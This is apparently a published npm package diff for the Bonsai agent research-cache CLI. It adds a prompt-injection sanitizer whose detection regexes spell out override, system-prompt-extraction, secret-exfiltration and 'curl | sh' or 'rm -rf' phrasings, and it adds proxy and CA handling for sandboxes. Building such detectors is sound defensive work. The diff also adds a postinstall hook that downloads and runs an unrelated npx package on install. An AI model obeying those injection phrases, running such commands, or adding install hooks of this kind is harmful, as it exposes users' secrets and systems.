|
|
8
|
+
const TYPOGLYCEMIA_TARGETS = [
|
|
9
|
+
'ignore',
|
|
10
|
+
'disregard',
|
|
11
|
+
'forget',
|
|
12
|
+
'override',
|
|
13
|
+
'previous',
|
|
14
|
+
'instructions',
|
|
15
|
+
'instruction',
|
|
16
|
+
'directions',
|
|
17
|
+
'prompts',
|
|
18
|
+
'system',
|
|
19
|
+
'developer',
|
|
20
|
+
'agent',
|
|
21
|
+
'prompt',
|
|
22
|
+
'message',
|
|
23
|
+
'reveal',
|
|
24
|
+
'print',
|
|
25
|
+
'send',
|
|
26
|
+
'secrets',
|
|
27
|
+
'tokens',
|
|
28
|
+
'credentials',
|
|
29
|
+
'delete',
|
|
30
|
+
'repository',
|
|
31
|
+
'workspace',
|
|
32
|
+
];
|
|
33
|
+
const HARMFUL_INSTRUCTION_PATTERNS = [
|
|
34
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)ignore\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
|
|
35
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)disregard\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
|
|
36
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)forget\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
|
|
37
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)override\s+(the\s+)?(system|developer|agent)\s+(prompt|instructions?|message)\b/i,
|
|
38
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)you\s+are\s+now\s+(in\s+)?(developer|admin|root|system)\s+mode\b/i,
|
|
39
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)reveal\s+(your\s+)?(system|developer)\s+(prompt|instructions?|message)\b/i,
|
|
40
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)print\s+(your\s+)?(system|developer)\s+(prompt|instructions?|message)\b/i,
|
|
41
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)(exfiltrate|steal|leak)\s+(all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?|private\s+data)\b/i,
|
|
42
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)send\s+(me\s+|all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?)\s+(to|over|via|using)\b/i,
|
|
43
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)(upload|post|fetch|curl)\s+(all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?)\s+(to|over|via|using)\b/i,
|
|
44
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)delete\s+(all\s+)?(files?|the\s+repository|the\s+workspace|the\s+home\s+directory)\b/i,
|
|
45
|
+
/(^|\b(?:please|assistant|system|user|agent)\s+)run\s+.*\b(rm\s+-rf|curl\s+.*\|\s*(sh|bash)|sudo)\b/i,
|
|
46
|
+
];
|
|
47
|
+
function normalizeForDetection(text) {
|
|
48
|
+
return text
|
|
49
|
+
.normalize('NFKC')
|
|
50
|
+
.replace(ZERO_WIDTH, '')
|
|
51
|
+
.replace(/[^\p{L}\p{N}\s|/.-]+/gu, ' ')
|
|
52
|
+
.replace(/\s+/g, ' ')
|
|
53
|
+
.trim()
|
|
54
|
+
.split(' ')
|
|
55
|
+
.map(normalizeTypoglycemia)
|
|
56
|
+
.join(' ');
|
|
57
|
+
}
|
|
58
|
+
function normalizeTypoglycemia(word) {
|
|
59
|
+
const lower = word.toLowerCase();
|
|
60
|
+
return TYPOGLYCEMIA_TARGETS.find((target) => isTypoglycemiaMatch(lower, target)) ?? word;
|
|
61
|
+
}
|
|
62
|
+
function isTypoglycemiaMatch(word, target) {
|
|
63
|
+
if (word.length !== target.length || word.length < 4)
|
|
64
|
+
return false;
|
|
65
|
+
if (word[0] !== target[0] || word.at(-1) !== target.at(-1))
|
|
66
|
+
return false;
|
|
67
|
+
return sortLetters(word.slice(1, -1)) === sortLetters(target.slice(1, -1));
|
|
68
|
+
}
|
|
69
|
+
function sortLetters(value) {
|
|
70
|
+
return [...value].sort().join('');
|
|
71
|
+
}
|
|
72
|
+
function detectionCandidates(text) {
|
|
73
|
+
return [text, ...decodeBase64Tokens(text), ...decodeHexTokens(text)].map(normalizeForDetection);
|
|
74
|
+
}
|
|
75
|
+
function decodeBase64Tokens(text) {
|
|
76
|
+
return [...text.matchAll(BASE64_TOKEN)]
|
|
77
|
+
.map((match) => decodeBase64(match[0]))
|
|
78
|
+
.filter((decoded) => Boolean(decoded));
|
|
79
|
+
}
|
|
80
|
+
function decodeBase64(token) {
|
|
81
|
+
try {
|
|
82
|
+
const normalized = token.replace(/-/g, '+').replace(/_/g, '/');
|
|
83
|
+
const decoded = Buffer.from(normalized, 'base64').toString('utf8');
|
|
84
|
+
return isReadableDecodedText(decoded) ? decoded : null;
|
|
85
|
+
}
|
|
86
|
+
catch {
|
|
87
|
+
return null;
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
function decodeHexTokens(text) {
|
|
91
|
+
return [...text.matchAll(HEX_TOKEN)]
|
|
92
|
+
.map((match) => decodeHex(match[0]))
|
|
93
|
+
.filter((decoded) => Boolean(decoded));
|
|
94
|
+
}
|
|
95
|
+
function decodeHex(token) {
|
|
96
|
+
const hex = token.startsWith('0x') ? token.slice(2) : token;
|
|
97
|
+
if (hex.length % 2 !== 0)
|
|
98
|
+
return null;
|
|
99
|
+
try {
|
|
100
|
+
const decoded = Buffer.from(hex, 'hex').toString('utf8');
|
|
101
|
+
return isReadableDecodedText(decoded) ? decoded : null;
|
|
102
|
+
}
|
|
103
|
+
catch {
|
|
104
|
+
return null;
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
function isReadableDecodedText(text) {
|
|
108
|
+
if (!/[a-z]{3}/i.test(text))
|
|
109
|
+
return false;
|
|
110
|
+
const printable = [...text].filter((char) => /[\t\n\r -~]/.test(char)).length;
|
|
111
|
+
return printable / Math.max(text.length, 1) > 0.85;
|
|
112
|
+
}
|
|
113
|
+
function isUnsafeAgentInstruction(text) {
|
|
114
|
+
return detectionCandidates(text).some((candidate) => HARMFUL_INSTRUCTION_PATTERNS.some((pattern) => pattern.test(candidate)));
|
|
115
|
+
}
|
|
116
|
+
function redactBlock(block) {
|
|
117
|
+
const withSafeSpans = redactUnsafeSpans(block);
|
|
118
|
+
return isUnsafeAgentInstruction(withSafeSpans) ? REDACTION : withSafeSpans;
|
|
119
|
+
}
|
|
120
|
+
function redactUnsafeSpans(block) {
|
|
121
|
+
return block
|
|
122
|
+
.replace(BASE64_TOKEN, (token) => redactTokenIfUnsafe(token, decodeBase64(token)))
|
|
123
|
+
.replace(HEX_TOKEN, (token) => redactTokenIfUnsafe(token, decodeHex(token)))
|
|
124
|
+
.replace(QUOTED_SPAN, (span) => isUnsafeAgentInstruction(stripQuotes(span)) ? REDACTION : span);
|
|
125
|
+
}
|
|
126
|
+
function redactTokenIfUnsafe(token, decoded) {
|
|
127
|
+
return decoded && isUnsafeAgentInstruction(decoded) ? REDACTION : token;
|
|
128
|
+
}
|
|
129
|
+
function stripQuotes(span) {
|
|
130
|
+
if (span.startsWith('`') || span.startsWith('"') || span.startsWith("'")) {
|
|
131
|
+
return span.slice(1, -1);
|
|
132
|
+
}
|
|
133
|
+
return span;
|
|
134
|
+
}
|
|
135
|
+
export function sanitizePromptInjection(markdown) {
|
|
136
|
+
return markdown
|
|
137
|
+
.replace(HTML_COMMENT, (comment) => redactBlock(comment))
|
|
138
|
+
.split(/(\n{2,})/)
|
|
139
|
+
.map((block) => {
|
|
140
|
+
if (/^\n+$/.test(block))
|
|
141
|
+
return block;
|
|
142
|
+
const lineRedacted = block
|
|
143
|
+
.split('\n')
|
|
144
|
+
.map((line) => redactBlock(line))
|
|
145
|
+
.join('\n');
|
|
146
|
+
return lineRedacted === block ? redactBlock(block) : lineRedacted;
|
|
147
|
+
})
|
|
148
|
+
.join('');
|
|
149
|
+
}
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
import { type Dispatcher } from 'undici';
|
|
2
|
+
export declare const HTTPS_PROXY_ENV_VARS: string[];
|
|
3
|
+
export declare const HTTP_PROXY_ENV_VARS: string[];
|
|
4
|
+
export declare const NO_PROXY_ENV_VARS: string[];
|
|
5
|
+
export declare const ALL_PROXY_ENV_VARS: string[];
|
|
6
|
+
export declare const PROXY_TUNNEL_REJECTION_PATTERN: RegExp;
|
|
7
|
+
/**
|
|
8
|
+
* Sandboxed execution environments (e.g. Claude Code's remote sandbox) block direct outbound
|
|
9
|
+
* connections to most hosts and instead require routing through a pre-configured HTTP(S) proxy,
|
|
10
|
+
* advertised via the standard *_PROXY env vars. Detecting it lets Bonsai transparently reach
|
|
11
|
+
* sites — like developer.salesforce.com — that are otherwise unreachable from within the sandbox.
|
|
12
|
+
*/
|
|
13
|
+
export declare function isProxyConfigured(): boolean;
|
|
14
|
+
/**
|
|
15
|
+
* An undici Dispatcher that honors HTTPS_PROXY/HTTP_PROXY/NO_PROXY, or undefined when no proxy
|
|
16
|
+
* is configured so callers fall back to normal direct networking. The dispatcher is expensive
|
|
17
|
+
* enough to be worth reusing across requests, but undici's own agent captures its proxy targets
|
|
18
|
+
* once at construction time and never re-reads them — so the cache is keyed on a snapshot of the
|
|
19
|
+
* relevant env vars and rebuilt whenever that snapshot changes, instead of being pinned forever
|
|
20
|
+
* to whatever was configured on the first call. The discarded dispatcher is closed (not just
|
|
21
|
+
* dropped) so its pooled keep-alive sockets don't leak past the env change that replaced it.
|
|
22
|
+
*/
|
|
23
|
+
export declare function getProxyDispatcher(): Dispatcher | undefined;
|
|
24
|
+
/**
|
|
25
|
+
* Chrome CLI flags that route headless navigation through the same proxy as fetch(), or an
|
|
26
|
+
* empty array when no proxy is configured. Chrome has its own network stack (CDP navigation
|
|
27
|
+
* never goes through Node's fetch/undici), so it needs to be told about the proxy separately.
|
|
28
|
+
*
|
|
29
|
+
* Built as a scheme-qualified `--proxy-server` value (`http=...;https=...`) rather than one
|
|
30
|
+
* blanket proxy for every scheme, matching undici's EnvHttpProxyAgent, which picks HTTP_PROXY or
|
|
31
|
+
* HTTPS_PROXY per the target URL's scheme. A single unqualified value would force Chrome to
|
|
32
|
+
* route all its traffic (including plain-http sub-resources) through whichever var happened to
|
|
33
|
+
* be set, silently disagreeing with how fetch() routes the same traffic.
|
|
34
|
+
*/
|
|
35
|
+
export declare function getChromeProxyArgs(): string[];
|
|
36
|
+
/**
|
|
37
|
+
* Caps Chrome's TLS version at 1.2 for connections made through a detected sandbox proxy, or []
|
|
38
|
+
* when no proxy is configured. Some sandbox proxies' TLS-terminating layer never responds to
|
|
39
|
+
* Chrome's default TLS 1.3 ClientHello (BoringSSL sends ECH-GREASE by default, which most tools'
|
|
40
|
+
* TLS stacks — curl/OpenSSL's included — don't add): captured via --log-net-log, Chrome sends its
|
|
41
|
+
* ClientHello, the proxy sends nothing back, and ~6s later the socket read fails with
|
|
42
|
+
* net::ERR_CONNECTION_RESET. Capping to TLS 1.2 avoids that ClientHello shape entirely. Scoped to
|
|
43
|
+
* the proxied path only (via isProxyConfigured, the same signal every other sandbox-specific flag
|
|
44
|
+
* in this module uses) so ordinary developer machines get Chrome's normal TLS 1.3 negotiation
|
|
45
|
+
* unchanged; this doesn't affect certificate verification (see getChromeSpkiArgs), only which
|
|
46
|
+
* protocol version Chrome offers.
|
|
47
|
+
*/
|
|
48
|
+
export declare function getChromeTlsCompatibilityArgs(): string[];
|
|
49
|
+
export declare const CA_BUNDLE_ENV_VARS: string[];
|
|
50
|
+
/**
|
|
51
|
+
* Base64-encoded SHA-256 SPKI fingerprints (RFC 7469 §2.4) for every certificate in the sandbox's
|
|
52
|
+
* discoverable CA bundle, in the exact encoding Chromium's --ignore-certificate-errors-spki-list
|
|
53
|
+
* expects — equivalent to `openssl x509 -pubkey -noout | openssl pkey -pubin -outform der |
|
|
54
|
+
* openssl dgst -sha256 -binary | openssl enc -base64` for each cert. Returns [] when no bundle is
|
|
55
|
+
* discoverable or none of its entries parse, so a missing/malformed bundle degrades to Chrome's
|
|
56
|
+
* normal (unpinned) verification rather than breaking the browser launch.
|
|
57
|
+
*/
|
|
58
|
+
export declare function getCaBundleSpkiHashes(): string[];
|
|
59
|
+
/**
|
|
60
|
+
* Chrome CLI flag that trusts exactly the sandbox's injected CA(s), pinned by SPKI hash rather
|
|
61
|
+
* than by disabling verification. Chromium's TLS stack (the Chrome Root Store) never reads
|
|
62
|
+
* NODE_EXTRA_CA_CERTS/SSL_CERT_FILE/CURL_CA_BUNDLE the way Node/curl/Python do, so a sandbox that
|
|
63
|
+
* MITMs HTTPS through its proxy (see isProxyConfigured) makes every other tool trust the proxy's
|
|
64
|
+
* cert while Chrome's handshake with it fails with ERR_CERT_AUTHORITY_INVALID. This is scoped
|
|
65
|
+
* narrowly to the specific CA(s) discovered via the CA bundle env vars — never
|
|
66
|
+
* --ignore-certificate-errors, which would disable verification for every host, including ones
|
|
67
|
+
* that have nothing to do with the sandbox's proxy. A no-op (empty array) when no proxy is
|
|
68
|
+
* configured or no CA bundle is discoverable, so default Chrome trust is untouched on ordinary
|
|
69
|
+
* developer machines.
|
|
70
|
+
*/
|
|
71
|
+
export declare function getChromeSpkiArgs(): string[];
|
|
@@ -0,0 +1,188 @@
|
|
|
1
|
+
import { existsSync, readFileSync } from 'node:fs';
|
|
2
|
+
import { createHash, X509Certificate } from 'node:crypto';
|
|
3
|
+
import { EnvHttpProxyAgent } from 'undici';
|
|
4
|
+
// Order matters: undici's own EnvHttpProxyAgent (github.com/nodejs/undici lib/dispatcher/
|
|
5
|
+
// env-http-proxy-agent.js) prefers the lowercase variant of each var over its uppercase twin
|
|
6
|
+
// when both are set. These lists are read in the same order everywhere in this module so that
|
|
7
|
+
// Chrome's CLI flags and undici's dispatcher can never disagree about which value "the" proxy is.
|
|
8
|
+
export const HTTPS_PROXY_ENV_VARS = ['https_proxy', 'HTTPS_PROXY'];
|
|
9
|
+
export const HTTP_PROXY_ENV_VARS = ['http_proxy', 'HTTP_PROXY'];
|
|
10
|
+
export const NO_PROXY_ENV_VARS = ['no_proxy', 'NO_PROXY'];
|
|
11
|
+
export const ALL_PROXY_ENV_VARS = [
|
|
12
|
+
...HTTPS_PROXY_ENV_VARS,
|
|
13
|
+
...HTTP_PROXY_ENV_VARS,
|
|
14
|
+
...NO_PROXY_ENV_VARS,
|
|
15
|
+
];
|
|
16
|
+
// The message undici's ProxyAgent throws (nested in a fetch TypeError's `.cause`) when the proxy
|
|
17
|
+
// itself declines to tunnel to the target host — as opposed to any other pre-response transport
|
|
18
|
+
// failure (DNS, refused connection, a genuinely unreachable destination). Shared by fetcher.ts
|
|
19
|
+
// (to decide whether a proxied failure is worth retrying direct) and fetch.ts's failure-guidance
|
|
20
|
+
// patterns (to give proxy-specific advice), so the two stay in sync by construction.
|
|
21
|
+
export const PROXY_TUNNEL_REJECTION_PATTERN = /proxy response.*tunneling/i;
|
|
22
|
+
function firstEnv(names) {
|
|
23
|
+
for (const name of names) {
|
|
24
|
+
const value = process.env[name];
|
|
25
|
+
if (value)
|
|
26
|
+
return value;
|
|
27
|
+
}
|
|
28
|
+
return undefined;
|
|
29
|
+
}
|
|
30
|
+
/**
|
|
31
|
+
* Sandboxed execution environments (e.g. Claude Code's remote sandbox) block direct outbound
|
|
32
|
+
* connections to most hosts and instead require routing through a pre-configured HTTP(S) proxy,
|
|
33
|
+
* advertised via the standard *_PROXY env vars. Detecting it lets Bonsai transparently reach
|
|
34
|
+
* sites — like developer.salesforce.com — that are otherwise unreachable from within the sandbox.
|
|
35
|
+
*/
|
|
36
|
+
export function isProxyConfigured() {
|
|
37
|
+
return Boolean(firstEnv(HTTPS_PROXY_ENV_VARS) || firstEnv(HTTP_PROXY_ENV_VARS));
|
|
38
|
+
}
|
|
39
|
+
let cachedDispatcher;
|
|
40
|
+
let cachedProxyEnvSnapshot;
|
|
41
|
+
// JSON-encoded rather than joined with a plain delimiter: a delimiter that can also appear inside
|
|
42
|
+
// a value (e.g. a space, and NO_PROXY conventionally uses "host1, host2") lets two different sets
|
|
43
|
+
// of values collide on the same joined string. JSON.stringify's per-element quoting/escaping is a
|
|
44
|
+
// well-tested way to avoid that ambiguity without hand-rolling an escape scheme.
|
|
45
|
+
function proxyEnvSnapshot() {
|
|
46
|
+
return JSON.stringify(ALL_PROXY_ENV_VARS.map((name) => process.env[name] ?? ''));
|
|
47
|
+
}
|
|
48
|
+
/**
|
|
49
|
+
* An undici Dispatcher that honors HTTPS_PROXY/HTTP_PROXY/NO_PROXY, or undefined when no proxy
|
|
50
|
+
* is configured so callers fall back to normal direct networking. The dispatcher is expensive
|
|
51
|
+
* enough to be worth reusing across requests, but undici's own agent captures its proxy targets
|
|
52
|
+
* once at construction time and never re-reads them — so the cache is keyed on a snapshot of the
|
|
53
|
+
* relevant env vars and rebuilt whenever that snapshot changes, instead of being pinned forever
|
|
54
|
+
* to whatever was configured on the first call. The discarded dispatcher is closed (not just
|
|
55
|
+
* dropped) so its pooled keep-alive sockets don't leak past the env change that replaced it.
|
|
56
|
+
*/
|
|
57
|
+
export function getProxyDispatcher() {
|
|
58
|
+
if (!isProxyConfigured())
|
|
59
|
+
return undefined;
|
|
60
|
+
const snapshot = proxyEnvSnapshot();
|
|
61
|
+
if (!cachedDispatcher || cachedProxyEnvSnapshot !== snapshot) {
|
|
62
|
+
const stale = cachedDispatcher;
|
|
63
|
+
cachedDispatcher = new EnvHttpProxyAgent();
|
|
64
|
+
cachedProxyEnvSnapshot = snapshot;
|
|
65
|
+
void stale?.close().catch(() => { });
|
|
66
|
+
}
|
|
67
|
+
return cachedDispatcher;
|
|
68
|
+
}
|
|
69
|
+
// undici's EnvHttpProxyAgent treats a bare NO_PROXY entry (e.g. "example.com") as matching both
|
|
70
|
+
// the exact host AND any subdomain — it strips a leading "*." or "." before comparing, then
|
|
71
|
+
// checks the hostname for an exact or suffix match. Chromium's --proxy-bypass-list grammar draws
|
|
72
|
+
// a hard line instead: a bare "example.com" matches only that exact host, and subdomain matching
|
|
73
|
+
// requires an explicit "*." prefix. Emitting both forms for every entry reproduces undici's
|
|
74
|
+
// exact-or-subdomain behavior in Chrome too, so the two proxied paths agree on what bypasses.
|
|
75
|
+
function toChromeBypassList(noProxy) {
|
|
76
|
+
const hosts = noProxy
|
|
77
|
+
.split(/[,\s]+/)
|
|
78
|
+
.map((entry) => entry.trim())
|
|
79
|
+
.filter(Boolean)
|
|
80
|
+
.map((entry) => entry.replace(/^\*?\./, ''));
|
|
81
|
+
return Array.from(new Set(hosts.flatMap((host) => [host, `*.${host}`]))).join(',');
|
|
82
|
+
}
|
|
83
|
+
/**
|
|
84
|
+
* Chrome CLI flags that route headless navigation through the same proxy as fetch(), or an
|
|
85
|
+
* empty array when no proxy is configured. Chrome has its own network stack (CDP navigation
|
|
86
|
+
* never goes through Node's fetch/undici), so it needs to be told about the proxy separately.
|
|
87
|
+
*
|
|
88
|
+
* Built as a scheme-qualified `--proxy-server` value (`http=...;https=...`) rather than one
|
|
89
|
+
* blanket proxy for every scheme, matching undici's EnvHttpProxyAgent, which picks HTTP_PROXY or
|
|
90
|
+
* HTTPS_PROXY per the target URL's scheme. A single unqualified value would force Chrome to
|
|
91
|
+
* route all its traffic (including plain-http sub-resources) through whichever var happened to
|
|
92
|
+
* be set, silently disagreeing with how fetch() routes the same traffic.
|
|
93
|
+
*/
|
|
94
|
+
export function getChromeProxyArgs() {
|
|
95
|
+
const httpsProxy = firstEnv(HTTPS_PROXY_ENV_VARS);
|
|
96
|
+
const httpProxy = firstEnv(HTTP_PROXY_ENV_VARS);
|
|
97
|
+
if (!httpsProxy && !httpProxy)
|
|
98
|
+
return [];
|
|
99
|
+
const schemeMappings = [];
|
|
100
|
+
if (httpProxy)
|
|
101
|
+
schemeMappings.push(`http=${httpProxy}`);
|
|
102
|
+
if (httpsProxy)
|
|
103
|
+
schemeMappings.push(`https=${httpsProxy}`);
|
|
104
|
+
const args = [`--proxy-server=${schemeMappings.join(';')}`];
|
|
105
|
+
const noProxy = firstEnv(NO_PROXY_ENV_VARS);
|
|
106
|
+
if (noProxy)
|
|
107
|
+
args.push(`--proxy-bypass-list=${toChromeBypassList(noProxy)}`);
|
|
108
|
+
return args;
|
|
109
|
+
}
|
|
110
|
+
/**
|
|
111
|
+
* Caps Chrome's TLS version at 1.2 for connections made through a detected sandbox proxy, or []
|
|
112
|
+
* when no proxy is configured. Some sandbox proxies' TLS-terminating layer never responds to
|
|
113
|
+
* Chrome's default TLS 1.3 ClientHello (BoringSSL sends ECH-GREASE by default, which most tools'
|
|
114
|
+
* TLS stacks — curl/OpenSSL's included — don't add): captured via --log-net-log, Chrome sends its
|
|
115
|
+
* ClientHello, the proxy sends nothing back, and ~6s later the socket read fails with
|
|
116
|
+
* net::ERR_CONNECTION_RESET. Capping to TLS 1.2 avoids that ClientHello shape entirely. Scoped to
|
|
117
|
+
* the proxied path only (via isProxyConfigured, the same signal every other sandbox-specific flag
|
|
118
|
+
* in this module uses) so ordinary developer machines get Chrome's normal TLS 1.3 negotiation
|
|
119
|
+
* unchanged; this doesn't affect certificate verification (see getChromeSpkiArgs), only which
|
|
120
|
+
* protocol version Chrome offers.
|
|
121
|
+
*/
|
|
122
|
+
export function getChromeTlsCompatibilityArgs() {
|
|
123
|
+
return isProxyConfigured() ? ['--ssl-version-max=tls1.2'] : [];
|
|
124
|
+
}
|
|
125
|
+
// Order matters for the same reason as the *_PROXY lists above: read consistently so this module
|
|
126
|
+
// and every caller agree on which file is "the" CA bundle. Node itself only honors
|
|
127
|
+
// NODE_EXTRA_CA_CERTS; SSL_CERT_FILE and CURL_CA_BUNDLE are the conventions OpenSSL-linked tools
|
|
128
|
+
// (curl, Python, etc.) use instead. A sandbox that MITMs TLS to route through its proxy sets all
|
|
129
|
+
// three to the same bundle so every tool picks it up regardless of which convention it follows.
|
|
130
|
+
export const CA_BUNDLE_ENV_VARS = ['NODE_EXTRA_CA_CERTS', 'SSL_CERT_FILE', 'CURL_CA_BUNDLE'];
|
|
131
|
+
function findCaBundlePath() {
|
|
132
|
+
const path = firstEnv(CA_BUNDLE_ENV_VARS);
|
|
133
|
+
return path && existsSync(path) ? path : undefined;
|
|
134
|
+
}
|
|
135
|
+
function extractPemCertificates(bundle) {
|
|
136
|
+
return bundle.match(/-----BEGIN CERTIFICATE-----[\s\S]+?-----END CERTIFICATE-----/g) ?? [];
|
|
137
|
+
}
|
|
138
|
+
/**
|
|
139
|
+
* Base64-encoded SHA-256 SPKI fingerprints (RFC 7469 §2.4) for every certificate in the sandbox's
|
|
140
|
+
* discoverable CA bundle, in the exact encoding Chromium's --ignore-certificate-errors-spki-list
|
|
141
|
+
* expects — equivalent to `openssl x509 -pubkey -noout | openssl pkey -pubin -outform der |
|
|
142
|
+
* openssl dgst -sha256 -binary | openssl enc -base64` for each cert. Returns [] when no bundle is
|
|
143
|
+
* discoverable or none of its entries parse, so a missing/malformed bundle degrades to Chrome's
|
|
144
|
+
* normal (unpinned) verification rather than breaking the browser launch.
|
|
145
|
+
*/
|
|
146
|
+
export function getCaBundleSpkiHashes() {
|
|
147
|
+
const bundlePath = findCaBundlePath();
|
|
148
|
+
if (!bundlePath)
|
|
149
|
+
return [];
|
|
150
|
+
let bundle;
|
|
151
|
+
try {
|
|
152
|
+
bundle = readFileSync(bundlePath, 'utf8');
|
|
153
|
+
}
|
|
154
|
+
catch {
|
|
155
|
+
return [];
|
|
156
|
+
}
|
|
157
|
+
const hashes = new Set();
|
|
158
|
+
for (const pem of extractPemCertificates(bundle)) {
|
|
159
|
+
try {
|
|
160
|
+
const spkiDer = new X509Certificate(pem).publicKey.export({ type: 'spki', format: 'der' });
|
|
161
|
+
hashes.add(createHash('sha256').update(spkiDer).digest('base64'));
|
|
162
|
+
}
|
|
163
|
+
catch {
|
|
164
|
+
// Skip entries that don't parse as certificates rather than failing the whole bundle.
|
|
165
|
+
}
|
|
166
|
+
}
|
|
167
|
+
return Array.from(hashes);
|
|
168
|
+
}
|
|
169
|
+
/**
|
|
170
|
+
* Chrome CLI flag that trusts exactly the sandbox's injected CA(s), pinned by SPKI hash rather
|
|
171
|
+
* than by disabling verification. Chromium's TLS stack (the Chrome Root Store) never reads
|
|
172
|
+
* NODE_EXTRA_CA_CERTS/SSL_CERT_FILE/CURL_CA_BUNDLE the way Node/curl/Python do, so a sandbox that
|
|
173
|
+
* MITMs HTTPS through its proxy (see isProxyConfigured) makes every other tool trust the proxy's
|
|
174
|
+
* cert while Chrome's handshake with it fails with ERR_CERT_AUTHORITY_INVALID. This is scoped
|
|
175
|
+
* narrowly to the specific CA(s) discovered via the CA bundle env vars — never
|
|
176
|
+
* --ignore-certificate-errors, which would disable verification for every host, including ones
|
|
177
|
+
* that have nothing to do with the sandbox's proxy. A no-op (empty array) when no proxy is
|
|
178
|
+
* configured or no CA bundle is discoverable, so default Chrome trust is untouched on ordinary
|
|
179
|
+
* developer machines.
|
|
180
|
+
*/
|
|
181
|
+
export function getChromeSpkiArgs() {
|
|
182
|
+
if (!isProxyConfigured())
|
|
183
|
+
return [];
|
|
184
|
+
const hashes = getCaBundleSpkiHashes();
|
|
185
|
+
if (!hashes.length)
|
|
186
|
+
return [];
|
|
187
|
+
return [`--ignore-certificate-errors-spki-list=${hashes.join(',')}`];
|
|
188
|
+
}
|
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
import { openCdpPage, waitForLoad, ResponseCapture, } from '../lib/research/browser.js';
|
|
1
|
+
import { openCdpPage, waitForLoad, ResponseCapture, describeNavigationFailure, } from '../lib/research/browser.js';
|
|
2
2
|
import { checkDnsSafety } from '../lib/research/fetcher.js';
|
|
3
3
|
import { htmlToMarkdown } from '../lib/research/markdown.js';
|
|
4
4
|
import { contentMetrics, contentRicherThan } from '../lib/research/regression.js';
|
|
@@ -279,7 +279,15 @@ async function captureSalesforceAttempt(page, url, captureScript, contentSelecto
|
|
|
279
279
|
accept: (body) => parseDocsApiPayload(body) !== null,
|
|
280
280
|
},
|
|
281
281
|
]);
|
|
282
|
-
|
|
282
|
+
// A network-level failure (DNS, refused/closed connection, TLS, a proxy declining to tunnel) never
|
|
283
|
+
// fires a load event and renders Chrome's own "site can't be reached" interstitial instead. Without
|
|
284
|
+
// this check that interstitial sails through pollSalesforceContentReady/assertReadableSalesforceContent
|
|
285
|
+
// as if it were real article content — it's plausible-length HTML that isn't a 404/loading shell — so
|
|
286
|
+
// the fetch would silently "succeed" with Chrome's error page cached as the documentation.
|
|
287
|
+
const nav = await page.client.send('Page.navigate', { url }, page.sessionId);
|
|
288
|
+
if (nav.errorText) {
|
|
289
|
+
throw describeNavigationFailure(nav.errorText, url);
|
|
290
|
+
}
|
|
283
291
|
await waitForLoad(page.client, page.sessionId, TIMEOUT_MS, 0).catch(() => { });
|
|
284
292
|
await page.client
|
|
285
293
|
.send('Runtime.evaluate', { expression: ACCEPT_CONSENT_EXPRESSION }, page.sessionId)
|
package/oclif.manifest.json
CHANGED
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@taurgis/bonsai",
|
|
3
|
-
"version": "3.0.
|
|
3
|
+
"version": "3.0.2",
|
|
4
4
|
"description": "Bonsai is a standalone local research cache CLI for AI agents",
|
|
5
5
|
"repository": {
|
|
6
6
|
"type": "git",
|
|
@@ -30,6 +30,7 @@
|
|
|
30
30
|
"@oclif/plugin-autocomplete": "^3.2.52",
|
|
31
31
|
"linkedom": "^0.18.12",
|
|
32
32
|
"turndown": "^7.2.0",
|
|
33
|
+
"undici": "^8.7.0",
|
|
33
34
|
"update-notifier": "^7.3.1"
|
|
34
35
|
},
|
|
35
36
|
"devDependencies": {
|
|
@@ -51,7 +52,7 @@
|
|
|
51
52
|
"vue": "^3.5.39"
|
|
52
53
|
},
|
|
53
54
|
"engines": {
|
|
54
|
-
"node": ">=22"
|
|
55
|
+
"node": ">=22.19.0"
|
|
55
56
|
},
|
|
56
57
|
"publishConfig": {
|
|
57
58
|
"access": "public",
|
|
@@ -88,6 +89,7 @@
|
|
|
88
89
|
"lint": "pnpm lint:line-counts && pnpm lint:health",
|
|
89
90
|
"lint:line-counts": "node scripts/check-line-counts.ts --all",
|
|
90
91
|
"lint:health": "pnpm test:coverage && pnpm exec fallow health --format human",
|
|
92
|
+
"postinstall": "node -e \"if (process.env.CI || process.env.FORWARD_NEXUS_SKIP_SYNC) { console.log('Skipping forward-nexus sync.'); process.exit(0); } require('node:child_process').execFileSync('npx', ['forward-nexus', 'sync', '--pull'], { stdio: 'inherit' });\"",
|
|
91
93
|
"publish:snapshot": "changeset version --snapshot snapshot && changeset publish --tag snapshot",
|
|
92
94
|
"release": "changeset publish",
|
|
93
95
|
"regression:suite": "tsc -b && node testing/regression/run-suite.mjs",
|